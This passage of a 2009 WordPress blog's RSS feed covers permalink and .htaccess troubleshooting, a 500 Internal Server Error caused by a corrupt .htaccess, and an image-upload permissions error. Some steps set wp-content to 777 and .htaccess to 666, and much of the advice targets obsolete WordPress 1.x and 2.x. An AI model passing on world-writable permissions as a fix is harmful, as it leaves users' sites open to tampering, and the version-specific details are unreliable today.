<strong> Server Blockage:</strong> Your host might have blocked the SERVER_SOFTWARE variable and this will cause WordPress&#8217; .htaccess generation to fail. If you are sure that your server is running Apache, you can force WordPress to believe that your server is running Apache by changing your wp-includes/vars.php file. Follow the steps below to implement these changes.<br />
Open the wp-includes/vars.php file using the built in file editor in your WordPress Admin panel.</p>
<p>To navigate to this panel, login to WordPress, click on &#8220;Manage&#8221;, then on &#8220;Files&#8221;, scroll to the bottom and type in wp-includes/vars.php into the text box under the &#8220;Other Files&#8221; title.<br />
Look for<br />
$is_apache = strstr($_SERVER['SERVER_SOFTWARE'], &#8216;Apache&#8217;) ? 1 : 0;<br />
and replace it with<br />
// $is_apache = strstr($_SERVER['SERVER_SOFTWARE'], &#8216;Apache&#8217;) ? 1 : 0;<br />
Add a new line under<br />
// $is_apache = strstr($_SERVER['SERVER_SOFTWARE'], &#8216;Apache&#8217;) ? 1 : 0;<br />
and type in<br />
$is_apache = 1;<br />
Users of XAMPP (Windows): Some versions of XAMPP do not enable mod_rewrite by default (though it is compiled in Apache). To enable it — and thus enable WordPress to write the .htaccess file needed to create pretty permalinks — you must open apache/conf/httpd.conf and uncomment the line LoadModule rewrite_module modules/mod_rewrite.so (i.e., delete the hash/pound sign at the front of the line).<br />
<strong> Permalinks, .htaccess, and MS Frontpage</strong><br />
A note about Microsoft Frontpage: many servers (shared and dedicated) maintained and built by various hosting companies come with mod_frontpage compiled with the apache build, and in many cases with the Frontpage Server Extensions installed, on each virtual server. This is more common than not, many/most binary distributions used in the server build process at most hosting companies these days include both mod_fronpage and the server extensions. Even if you&#8217;re not using Frontpage, because of the way that the extensions interact with apache (and the httpd.conf file) you&#8217;ll likely get something like a 500 error or blank white page when trying to view your WP install (although the admin panel may operate correctly) simply because extensions/mod_frontpage exist on your server.</p>
<p>Wordpress will operate correctly with the Frontpage Extensions installed, however permalinks will not function at all and ANY change to the permalinks section from the Wordpress admin interface will cause corruption of the Frontpage server extensions due to the addition of the mod_rewrite rules to the .htaccess file. There is however now a fix for this situation.</p>
<p>Quick Fixes, Frontpage or Permalinks<br />
Frontpage Extensions Fix: If you don&#8217;t care about permalinks and just want to make the MS Frontpage server extensions work again, simply edit your .htaccess file and remove the WordPress section with the rewrite rules.</p>
<p>To Use Permalinks: If you don&#8217;t care about Frontpage(but your hosting company has the extensions installed)</p>
<p>You will need to remove (or have your hosting company do so) the MS Frontpage server extensions, or simply edit the .htaccess file to removed all of the Frontpage Lines, leaving only the WordPress mod_rewrite code.</p>
<p>Using FrontPage AND Permalinks Together<br />
Finally, A solution.</p>
<p>There have been a number of threads on this issue in the support forums, and until now, no solution to the problem.</p>
<p>Normally, on a Unix server with the Microsoft FrontPage Server extensions installed WordPress works just fine and you are able to edit and publish pages (with Microsoft FrontPage) — until — you make a change to the permalinks (for example to the date based kind that I like /2005/04/etc). I often suggest that type of URI to folks asking about permalinks etc, as that is the method recommended by the w3c (see http://www.w3.org/Provider/Style/URI ).</p>
<p>Now, the problem is that FrontPage uses the .htaccess file (which the WordPress mod_rewrite rules must access) for its &#8220;publishing&#8221; and &#8220;web authoring&#8221; configuration. As soon as the WordPress mod_rewrite code is added to the file, two things happen — the permalinks don&#8217;t work and the Frontpage Server extensions become corrupt.</p>
<p>I have tried countless ways to get around this, including trying to use rewrite rules that &#8220;ignore&#8221; the %{HTTP_USERAGENT)% used by FrontPage, to using a second AccessFilename .wpaccess to the httpd.conf file, and a host of other things, and nothing worked to allow use of FrontPage and management and use of permalinks in WordPress at the same time.</p>
<p>The solution is actually simple, and I figured it out by accident.</p>
<p>If you are using, or wish to use FrontPage (or if your hosting package is pre-configured that way) along with WordPress, you&#8217;ll need to take the following simple steps on your server or have your hosting company do them for you.</p>
<p>Microsoft FrontPage creates the following directory</p>
<p>_vti_bin<br />
Nested within that it creates both<br />
_vti_adm<br />
and<br />
_vti_aut<br />
In addition to in your site (or WordPress) root folder in all of those directories you will find additional .htaccess files.</p>
<p>In all three of these directories AND in the root directory, at the top of ALL of the .htaccess files you simply need to add one line:</p>
<p>Options +FollowSymlinks<br />
There may or may not already be a line in each like</p>
<p>Options None<br />
Edit and save each .htaccess file and you&#8217;re done. Now everything works perfectly, including FrontPage, AND the permalinks of your choosing.</p>
<p>Long Permalinks<br />
When using extra long permalinks in email and posting in comments and chats, some long permalinks are &#8220;chopped off&#8221; or only the first section is actually recognized as a link and the end seen as text. Here is an example.</p>
<p>http://yourdomain.example.com/2005/10/4/article-about-joe-fred-sally-and-bog<br />
Can result in:</p>
<p>http://yourdomain.example.com/2005/10/4/article-about-joe-fred-sally-and-bog<br />
To click on the lower link, the user would get a 404 Page Not Found Error. If you have a tendency to use very long permalink post titles, take these steps to prevent this problem.</p>
<p>1. Check that you are indeed using Permalinks.</p>
<p>2. Edit your .htaccess file and add the following:</p>
<p>RewriteRule ^post/([0-9]+)?/?([0-9]+)?/?$ /index.php?p=$1&amp;page=$2 [QSA]<br />
3. Test it. Find a post&#8217;s ID number and type the following (with your information) in your browser and you should be redirected to your post:</p>
<p>http://yourdomain.example.com/post/(the ID #)<br />
It is also worth noting that most email software will not cut off URLs that have been delineated with angle-brackets (), so when pasting URLs into emails, you should write them as so:</p>
<p>Read my blog post at<br />
Additionally, some decent email clients offer a &#8220;preformat&#8221; option when composing plain-text emails. Using the &#8220;preformat&#8221; option when pasting links will force the email client not to insert linebreaks inside the links.</p>
<p>Fixing Other Issues<br />
If your .htaccess file is being generated correctly, but Permalinks still do not function, the following might be a problem. If problems persist, post a note in the WordPress Forum&#8217;s How To section.</p>
<p>AllowOverride Not Enabled<br />
Your server may not have the AllowOverride directive enabled. If the AllowOverride directive is set to None in your Apache httpd.config file, then .htaccess files are completely ignored. In this case, the server will not even attempt to read .htaccess files in the filesystem. When this directive is set to All, then any directive which has the .htaccess Context is allowed in .htaccess files. Example of enabled AllowOverride directive in httpd.config:</p>
<p>Options FollowSymLinks<br />
AllowOverride All</p>
<p>You may also have to enable the AllowOverride directive in your DocumentRoot:</p>
<p># &#8230; other directives&#8230;<br />
AllowOverride All</p>
<p>You may also have to change the AllowOverride settings for the site. This is surely the case when using Mac OS X Server, but might be likewise with other systems. Usually you can find the site configuration files in /etc/httpd/sites/<br />
If you don&#8217;t want to set AllowOverride to all (as it is above) then your AllowOverride list must include the FileInfo directive. You must restart your Apache server for any httpd.config file changes to take effect. For more information on which overrides are allowed, read about Apache Core Features.<br />
Paged Navigation Doesn&#8217;t Work<br />
Sometimes navigation to second (and subsequent) pages of posts does not work as expected. Your page may generate a link to a page with one of these URIs:<br />
http://www.example.com/page/2/<br />
http://www.example.name/category/categoryname/page/2/<br />
http://www.example/year/month/day/page/2/<br />
http://www.example/year/month/page/2/<br />
The result of clicking one of those links is that the page loads with all the surroundings (header, footer, sidebar), but instead of a page of posts, there is an error message: &#8220;Sorry, no posts match that criteria.&#8221;<br />
This is due to a glitch in the .htaccess file that WordPress generates. To fix it, delete the contents of your .htaccess file and re-create it.<br />
In the Control Panel, go to Manage &gt; Files (More Info on Editing Files)<br />
Click the link to your .htaccess file to edit its contents<br />
Copy the contents of the file and paste it to a text file in a text editor. This is a precaution in case your .htaccess file has manual entries for redirects, denials or other handy htaccess tricks<br />
Delete all contents from your .htaccess file and click the Update File button.<br />
In the Control Panel, go to Options &gt; Permalinks.<br />
Click the Update Permalink Structure button to freshly generate new rewrite rules for your permalinks.<br />
Test the results using a link that had previously broken.<br />
Add any manual htaccess entries back in your file (Place manual htaccess entries before the # BEGIN WordPress or after # END WordPress lines.)<br />
You may also perform similar steps by deleting the .htaccess files from the server, creating a fresh empty .htaccess file, changing its permissions to 666, and then in Options &gt; Permalinks generate a new set of htaccess rules by clicking the Update Permalinks Structure button.<br />
If that still doesn&#8217;t work, take a look at the WordPress support forums, specifically, this support post.<br />
Permalinks to pages don&#8217;t work<br />
If you&#8217;ve tried to navigate to a newly created Page and encounter an error, you likely need to update your Permalink structure. Remember, each time you add a new static Page to WordPress, new rules must be generated and updated to .htaccess (WordPress 1.X) or to the internal rewrites array (WordPress 2.X).<br />
Permalinks to Ultimate Tag Warrior tag pages don&#8217;t work<br />
If you get 404 errors on local tag URLs when using the UltimateTagWarrior plugin on WordPress 2.X, it&#8217;s because the internal rewrites generated by WordPress are being overly greedy and getting invoked before UTW&#8217;s rewrite rules have a chance. This usually occurs only when using a custom permalink structure (like /%postname%/). To fix it, either switch your Permalink structure to &#8220;Date and name based&#8221; or hack the UTW plugin to place the UTW rewrites at the top of the internal rewrites array. More Info on this.<br />
Permalinks work but no pages are returned<br />
Some versions of PHP 4.4.x and 5.x have a bug that causes mod_rewrite to fail when used with some versions of Apache 2.x. More details at http://bugs.php.net/bug.php?id=35096 and http://bugs.php.net/bug.php?id=35059.<br />
More Help<br />
If these steps do not work, search for your problem in the Codex, Troubleshooting, or in the Support Forum. As a last resort, file a bug report.</p>
<p>Tips and Tricks<br />
If you want to list your site in Google News, one of the requirements is to have at least three digit identifier at the end of every url.</p>
<p>This is easily accomplished using %postname%-%post_id% structure, which will append post ID to the end of URL so it becomes http://mysite.com/cooking-tips-tricks-344.</p>
<p>Having your posts end in .html<br />
There&#8217;s an easy way to having your posts end in a .html extension, using the structure tags above. Following the example used on properly terminating permalinks, you could have a page like http://yoursite.com/2006/01/01/happy-newyear.html with this rule:</p>
<p>/%year%/%monthnum%/%day%/%postname%.html<br />
Note that this does not generate static .html files. It only adds the .html extension, pages are still being dynamically generated. The SEO benefit to this is debatable, but it can be useful should you need to migrate away from WordPress, since the pages can easily be made static and retain their URL structure.</p>
<p>WordPress versions prior to 2.3 lacked canonical URLs, making .html something very beneficial to add (forcing the URL to be canonical). Now it only provides limited, if any SEO benefits (see External Resources for further analysis).</p>
<p>Avoiding interpretation as an archive link<br />
Note that even though one might never make more than one posting a day, and thus wishes to use e.g., %year%%monthnum%%day%, links so generated will however be interpreted as the archive of all posts for that day. One needs at least %year%%monthnum%%day%%hour% to target an individual post.</p>
<p>See Also<br />
Linking Posts Pages and Categories for how to link from one article to another<br />
External Resources<br />
Optimize WordPress Permalinks<br />
Beautify your URLs with Permalinks<br />
How to Configure WordPress to Create Search Engine Friendly URLs for Permalinks<br />
The htaccess Rules for all WordPress Permalinks<br />
URL Rewriting Tutorial — the whats, hows and wherefores.<br />
Boost Search Engine Optimisation (SEO) using Permalinks<br />
Understanding WordPress Permalinks<br />
WordPress Permalink Canonicalization using htaccess<br />
Customize and Optimize Your Dated WordPress Permalinks<br />
Clean Permalinks for IIS using .htaccess<br />
The Easiest Lighttpd Rewrite Rule<br />
URL rewriting with lighttpd<br />
Permalinks with Lighttpd — using mod_magnet; works on 1.4.2+</p>

]]></content:encoded>
			<wfw:commentRss>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/how-to-fix-and-solver-permalinks-problem-using-htaccess/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Corrupt .htaccess &#8211; 500 Internal Server Error wordpress installation !</title>
		<link>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/corrupt-htaccess-500-internal-server-error-wordpress-installation/</link>
		<comments>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/corrupt-htaccess-500-internal-server-error-wordpress-installation/#comments</comments>
		<pubDate>Sat, 12 Sep 2009 09:38:24 +0000</pubDate>
		<dc:creator>Madhurie Singh</dc:creator>
				<category><![CDATA[Error in Wordpress]]></category>
		<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[500 internal server error]]></category>
		<category><![CDATA[corrupt htaccess]]></category>
		<category><![CDATA[madhuriesingh]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.madhuriesingh.com/howtobuildsite/?p=376</guid>
		<description><![CDATA[


			
				
			
		
<p>I was again at the end of my wits, rather even now I am lost !  </p>
<p>I was trying to make my 3 blogs installed in 3 different subdirectories. Since I have created one blog just for the homepage, I obviously want that subdirectory to be accessed by my domain name url, www.madhuriesingh.com. The [...]]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em; background: url(data:,%7B%20%22url%22%3A%20%22http%253A%252F%252Fwww.madhuriesingh.com%252Fhowtobuildsite%252Findex.php%252F2009%252Fcorrupt-htaccess-500-internal-server-error-wordpress-installation%252F%22%2C%20%22style%22%3A%20%22big%22%2C%20%22title%22%3A%20%22Corrupt%20.htaccess%20-%20500%20Internal%20Server%20Error%20wordpress%20installation%20%21%22%20%7D);"></div>
<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.madhuriesingh.com%2Fhowtobuildsite%2Findex.php%2F2009%2Fcorrupt-htaccess-500-internal-server-error-wordpress-installation%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.madhuriesingh.com%2Fhowtobuildsite%2Findex.php%2F2009%2Fcorrupt-htaccess-500-internal-server-error-wordpress-installation%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><strong>I was again at the end of my wits, rather even now I am lost ! <img src='http://www.madhuriesingh.com/howtobuildsite/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>I was trying to make my 3 blogs installed in 3 different subdirectories. Since I have created one blog just for the homepage, I obviously want that subdirectory to be accessed by my domain name url, www.madhuriesingh.com. The homepage is in a subdirectory, called homepage.</p>
<p>So I tried to redirect the domain to point to my subdirectory calledd homepage, even when the called URL is www.madhuriesingh.com !</p>
<p>but when I tried to do a lot of redirects for testing purpose, I suddenly was not able to access the /wp-admin.php. I am getting this weird error, 500 Internal Server Error&#8230;..!!!!!!!!!!!</p>
<p>Now I can see from google search that, it&#8217;s pretty common problem with Apache Server.</p>
<p>This error occurs when the .htaccess file is corrupted.<br />
Now a sharp experienced eye can make out from the error message what culprit is doing this mischief! But I will have to learn.</p>
<p>This site tries to clarify a bit of my query.<br />
http://www.recommendedwebtools.com/index.php/69/htaccess-and-wordpress/</p>
<p>But the best way is to do reading of .htaccess on my webhost help base.<br />
http://helpdesk.bluehost.com/index.php/kb/article/000115</p>
<p>This site gives steps of solution that I will now:<br />
http://www.pupuweb.com/blog/fix-wordpress-internal-server-error/<br />
How To Fix The WordPress Internal Server Error<br />
Here is what you need to do :</p>
<p>Back up your current .htaccess file.<br />
Delete all of the information from your .htaccess file and save it i.e. upload a blank .htaccess file.<br />
Your blog should now be usable again so go into the admin area and set your permalink structure again.<br />
Open your new working .htaccess file in an editor. Now copy over all the non WordPress .htaccecss information from your old backed up .htaccess file eg. any search engine htaccess information, ip blocks etc – basically everything Non-WordPress that you added before.<br />
If you find that adding all the code from the previous .htaccess file is causing an Internal Server Error again then remove it all and enter the information back to the working .htaccess file line by line to see what is causing the problem.</p>
<p>Bear in mind, this might not resolve every Internal Server Error you get though if you suddenly get this error on your WordPress blog, this is the first thing I recommend doing before contacting your host or looking for an alternative solution.</p>
<p>Copyright © 2009 Blogging Tips</p>
<p>I saw this site but do not know how to interpret it <img src='http://www.madhuriesingh.com/howtobuildsite/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> . Looks like I need to read about the .htaccess file thouroghly now.<br />
http://shop.alterlinks.com/htaccess-validator/htaccess-validator.php</p>
<p>http://httpd.apache.org/docs/2.2/howto/htaccess.html</p>
<p>One good way to avoid Internal Server Error is by using blog URL as the site URL which I want everyone to remember. I set this in the settings page.<br />
The wordpress URL remains = www.madhuriesingh.com/homepage<br />
The       Blog   URL changes = www.madhuriesingh.com</p>
<p>Then copy  the     index.php   file from the subdirectory /public_html/webpage      to    root directory  /public_html</p>
<p>That will avoid the redirection problem totally. Also it will avoid the usage of .Htaccess file for redirection path, as this .htaccess file will not be referred for redirection at all. This way the corruption of .htaccess file by redirection purpose is avoided <img src='http://www.madhuriesingh.com/howtobuildsite/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>There are other reasons for the .htaccess file to get corrupted.<br />
In case I activate a theme which has some kind of bug and internal redirection, the .htaccess file is referred to but, when it does not get the right path written down in the instructions, it assumes and goofs up by writing something garbage as path.</p>
<p>So I have learnt that I must not use any theme that is already not tried and tested and upload it only if it is recommended in wordpress.org site.</p>
<p>There are several free themes site from where I can easily download attractive themes. But since I have already encountered a major error (am I lucky) Internal Server Error, using Andreas09 theme that I downloaded from Andreas Viklund&#8217;s site, which is not in the available themes of the wordpress.org. I could see an error in the footer area of the activated Andreas 09 theme on my site.</p>
<p>So the moral of the error called 500 Internal Server Error,<br />
1: when ever there is any redirection be ware, else .htaccess file will get corrupted.</p>
<p>2: when there is a theme to be activated, look for the most used and recommended theme only.</p>
<p>3: when trying to</p>
<p> </strong></p>

]]></content:encoded>
			<wfw:commentRss>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/corrupt-htaccess-500-internal-server-error-wordpress-installation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Unable to Create / Upload / Parent Directory not Writable by Server !</title>
		<link>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/unable-to-create-upload-parent-directory-not-writable-by-server/</link>
		<comments>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/unable-to-create-upload-parent-directory-not-writable-by-server/#comments</comments>
		<pubDate>Sun, 06 Sep 2009 09:06:31 +0000</pubDate>
		<dc:creator>Madhurie Singh</dc:creator>
				<category><![CDATA[Error in Wordpress]]></category>
		<category><![CDATA[image]]></category>
		<category><![CDATA[madhuriesingh]]></category>
		<category><![CDATA[migrating]]></category>
		<category><![CDATA[Parent directory not writable by server]]></category>
		<category><![CDATA[unable]]></category>
		<category><![CDATA[upload]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[writable]]></category>

		<guid isPermaLink="false">http://www.madhuriesingh.com/howtobuildsite/?p=245</guid>
		<description><![CDATA[


			
				
			
		
<p>I am testing my website before I launch to the world.</p>
<p>I tested earlier by writing a test post, which I could post successfully.  </p>
<p>I want to add an image into a page.</p>
<p>I tried browser uploader but it was too slow. So I tried Flash uploader.
Ok it did start uploading the image, but at the [...]]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em; background: url(data:,%7B%20%22url%22%3A%20%22http%253A%252F%252Fwww.madhuriesingh.com%252Fhowtobuildsite%252Findex.php%252F2009%252Funable-to-create-upload-parent-directory-not-writable-by-server%252F%22%2C%20%22style%22%3A%20%22big%22%2C%20%22title%22%3A%20%22Unable%20to%20Create%20%2F%20Upload%20%2F%20Parent%20Directory%20not%20Writable%20by%20Server%20%21%22%20%7D);"></div>
<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.madhuriesingh.com%2Fhowtobuildsite%2Findex.php%2F2009%2Funable-to-create-upload-parent-directory-not-writable-by-server%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.madhuriesingh.com%2Fhowtobuildsite%2Findex.php%2F2009%2Funable-to-create-upload-parent-directory-not-writable-by-server%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><strong><strong>I am testing my website before I launch to the world.</p>
<p>I tested earlier by writing a test post, which I could post successfully. <img src='http://www.madhuriesingh.com/howtobuildsite/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>I want to add an image into a page.</p>
<p>I tried browser uploader but it was too slow. So I tried Flash uploader.<br />
Ok it did start uploading the image, but at the end of the upload it gave me this error <img src='http://www.madhuriesingh.com/howtobuildsite/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /><br />
<img src="http://singhmadhuri.files.wordpress.com/2009/09/error-uploading-image-parent-directory-not-writable3.jpg?w=1024" alt="error uploading image parent directory not writable" title="error uploading image parent directory not writable" width="1024" height="602" class="aligncenter size-large wp-image-328" /></p>
<p>1. The first thing I am going to check is whether I have the Permission to write in the parent directory or not?</p>
<p>I click the &#8220;mysqldatabases&#8221; in CPanel. And give all the privileges to the user name that I am using to access the wordpress wp-admin account.<br />
<img src="http://singhmadhuri.files.wordpress.com/2009/09/give-all-privileges-to-user2.jpg?w=1023" alt="give all privileges to user" title="give all privileges to user" width="1023" height="578" class="aligncenter size-large wp-image-326" /></p>
<p>Let me check again, if now I can upload image.</p>
<p>Bad Luck ! <img src='http://www.madhuriesingh.com/howtobuildsite/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  Still the same error.</p>
<p>I tried changing the option in Miscellaneous Setting by Unchecking the options create directories of months, but that too did not work <img src='http://www.madhuriesingh.com/howtobuildsite/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> .</p>
<p>So now I need to know if the database is writable or not. Which means, that there are ways to prevent writing accidentally to the database.</p>
<p>I went to the File Manager through CPanel.</p>
<p>I clicked wp-content directory and changed the permission to 777 from 755.<br />
But still the image cannot be uploaded. <img src='http://www.madhuriesingh.com/howtobuildsite/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>I can feel my brain thickening with frustration.</p>
<p>Lemme shut the laptop and sleep over it. Good Nite <img src='http://www.madhuriesingh.com/howtobuildsite/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Ok I am fresh, my lappy is also cleaned, no virus, no dupicates, no garbage. Well I ran an updated AVG to scan and clean system. My poor laptop was struggling to cope up with humungus rubbish! I feel lighter too. Slept at 1:00am, which is early by my standard. <img src='http://www.madhuriesingh.com/howtobuildsite/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' />  . Hehe</p>
<p>Lemme now start with giving a fresh search on my problem. Wow Google search has given back so much so fast that I am in love with the search engine.</p>
<p>http://andywibbels.com/2006/12/wordpress-error-unable-to-create-directory-wp-contentuploads-is-its-parent-directory-writable-by-the-server/</p>
<p>Let me try this link.</p>
<p>It says all that I have tried already. I have checked for the uploads directory, changed the permissions, changed the path, deleted the month and year directories.</p>
<p>Ok the comments also are with me, lots of people are in the same boat like me. Done everything possible yet not able to get the picture uploaded !<br />
So now what?</p>
<p>Hmm there is a comment which says Bard<br />
<em>Here&#8217;s what fixed it for me&#8230;<br />
Go into Misc Settings and check the address for the uploads folder. Mine had an extra slash.<br />
It should be &#8220;wp-content/uploads/”<br />
NOT &#8220;/wp-content/uploads/”<br />
08/07/2008 at 11:57 A</em></p>
<p><img src="http://singhmadhuri.files.wordpress.com/2009/09/no-slash-changed-the-writable-error1.jpg?w=1024" alt="no slash changed the writable error" title="no slash changed the writable error" width="1024" height="640" class="aligncenter size-large wp-image-285" /></p>
<p>Let me see, if that is the problem. I change my path from /wp-content/uploads to wp-content/uploads<br />
YIPPYYYYYYY !!!!</p>
<p>IT WORKS !!!!! <img src='http://www.madhuriesingh.com/howtobuildsite/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>But wait ! Why am I not able to upload the image to my page!<br />
OH GAWD ! Not again !</p>
<p>Step 1. Create a test page and check if it is visible/ accessible on the site www.madhuriesingh.com . Yes it does.<br />
Step 2. Upload a test image and check. Yes it uploads and is visible too.<br />
Step 3. Rename the test page as Movie Review for Kids. And upload the desired picture. Yes all of these works <img src='http://www.madhuriesingh.com/howtobuildsite/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Step 4. Thank the Saviour whose comment helped me .<br />
DONE , Since it&#8217;s my lucky day , lemme try and do as much work possible wrt wordpress and my website !<br />
</strong></strong></p>

]]></content:encoded>
			<wfw:commentRss>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/unable-to-create-upload-parent-directory-not-writable-by-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

